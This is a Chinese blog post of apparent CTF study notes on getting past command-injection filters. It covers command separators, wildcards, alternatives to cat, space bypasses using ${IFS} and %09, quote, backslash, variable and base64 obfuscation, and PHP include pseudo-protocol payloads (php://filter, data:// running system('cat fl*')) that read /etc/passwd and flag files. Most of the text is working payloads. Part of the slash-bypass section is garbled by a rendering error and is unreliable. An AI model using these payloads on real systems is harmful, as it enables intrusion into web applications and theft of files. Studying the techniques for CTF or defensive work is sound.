【无标题】

2.7 常⻅的绕过姿势:

1.常用符号:

  • 命令连接符:

Windows和Linux都⽀持:【|】 【||】 【&】 【&&】

  1. cmd1 | cmd2      只执行cmd2
  2. cmd1 || cmd2     只有当cmd1执行失败后,cmd2才被执行
  3. cmd1 & cmd2    先执行cmd1,不管是否成功,都会执行cmd2
  4. cmd1 && cmd2  先执行cmd1,只有cmd1执行成功后才执行cmd2,否则不执行cmd2

Linux特有:【;】

cmd1 ; cmd2 按顺序依次执行,先执行cmd1再执行cmd2

  • 通配符:

通配符是shell在做PathnameExpansion时用到的。一般只用于文件名匹配,它是由shell解析的。

 常见通配符:

通配符含义实例
*匹配 0 或多个字符a*b a与b之间可以有任意长度的任意字符, 也可以一个也没有, 如aabcb, axyzb, a012b, ab。
匹配任意一个字符a?b a与b之间必须也只能有一个字符, 可以是任意字符, 如aab, abb, acb, a0b。
[list]匹配 list 中的任意单一字符a[xyz]b  a与b之间必须也只能有一个字符, 但只能是 x 或 y 或 z, 如: axb, ayb, azb。
[!list]或[^list]匹配 除list 中的任意单一字符a[!0-9]b a与b之间必须也只能有一个字符, 但不能是阿拉伯数字, 如axb, aab, a-b。
[c1-c2]匹配 c1-c2 中的任意单一字符 如:[0-9] [a-z]a[0-9]b 0与9之间必须也只能有一个字符 如a0b, a1b... a9b。
[!c1-c2]或[^c1-c2]匹配不在c1-c2的任意字符a[!0-9]b 如acb adb
{string1,string2,...}匹配 sring1 或 string2 (或更多)其一字符串a{abc,xyz,123}b 列出aabcb,axyzb,a123b

2.cat绕过:

(1)more:一页一页的显示档案内容 

(2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页 

(3)head:查看头几行 

(4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 

(5)tail:查看尾几行 

(6)nl:显示的时候,顺便输出行号 

(7)od:以二进制的方式读取档案内容 

(8)vi:一种编辑器,这个也可以查看 

(9)vim:一种编辑器,这个也可以查看 

(10)sort:可以查看

(11)uniq:可以查看 

(12)file -f:报错出具体内容 

(13)sed:一种编辑器,这个也可以查看 

(14)grep   在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符 串的行。此时,可以使用如下命令: grep test *file 

(15)strings

3.空格绕过:

(1)${IFS}替换     cat /etc/passwd ---->>> cat${IFS}/etc/passwd

(2). $IFS$1替换

(3)${IFS替换

(4) ${IFS}$9

(5) %20替换

(6) < 和 <> 重定向符替换

(7) %09替换(需要php环境) 

(8) %0a %0b %0c %0d

4.敏感字符绕过:

  • 变量绕过

1. a=c;b=at;c=fl;d=ag;$a$b $c$d 

2. * a = eval($_GET[1]);&1=.....

  • base64 绕过

echo 1234 | base64

 MTIzNAo=

echo 'MTIzNAo=' | base64 -d

 1234

 /bin/base64 1.txt

 MTIzCg==

  • 单双引号

c""at fl''ag

  • 反斜线

c\at fl\ag

  • 连接符

cat /etc/pass'w'd

weixi5. php include + 伪协议 绕过

1. ?c=include $_GET["a"] ?>&a=php://filter/read=convert.base64-encode/reso
urce=flag.php

2. ?c=include $_POST[1] ?>&1=php://filter/read=convert.base64-encode/resou
rce=flag.php

5 1. ?c=data://text/plain,<?php echo system('cat fl*');?>
6 2. ?c=data://text/plain,<?php%20system('tac fl*');?>
3. ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg=
=

其中PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==的解码为<?php echo system
('cat fl*');?>

伪协议:

php伪协议:
File:// 访问本地文件系统
http:// 访问 HTTPs 网址
ftp:// 访问 ftp URL
Php:// 访问输入输出流
Zlib:// 压缩流
Data:// 数据
Ssh2:// security shell2
Expect:// 处理交互式的流
Glob:// 查找匹配的文件路径

php://协议
条件:
不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。
php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。

php://filter
读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。
PHP.ini:
php://filter在双off的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on
 

伪协议总结
File协议用于读取系统文件,c盘关键内容。Php://filter 用来读取文件内容,但是要base64后出来,否则会造成文件执行从而只看到执行结果。Php://input(代码执行)可将post请求中的数据作为PHP代码执行。可以用于写木马。Zip可以用于躲避白名单,只需要只要物理路径和目录执行权限就可执行。Phar和zip作用相似,但是在使用方式上有差别,zip是使用绝对路径。Data和input相似,可以代码执行,但只有在php<5.3且include=on时可以写木马。
 

6.利用Shell特殊变量绕过

变量含义
$0当前脚本的文件名
$n传递给脚本或函数的参数。n 是一个数字,表示第几个参数。例如,第一个参数是1,第二个参数是2。而参数不存在时其值为空。
$#传递给脚本或函数的参数个数
$*传递给脚本或函数的所有参数,而参数不存在时其值为空。
$@传递给脚本或函数的所有参数。,而参数不存在时其值为空。被双引号包函时,与$*稍有不同
$?上个命令的推出状态,或函数的返回值
$$当前shell进程ID

7.过滤斜杠/绕过

  • 使用${HOME:0:1}代替/
cat /etc/passwd ---->>> cat H O M E : 0 : 1 e t c {HOME:0:1}etcHOME:0:1etc{HOME:0:1}passwd
  • 使用echo . | tr ‘!-0’ ‘"-1’ 代替/
cat /etc/passwd ---->>> cat KaTeX parse error: Double superscript at position 20: …o . | tr '!-0' '̲"-1')etc(echo . | tr ‘!-0’ ‘"-1’)passwd

注意:反引号``和$()用来表示命令执行,被这两种方式包含的字符串都会被当作命令优先执行
 

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值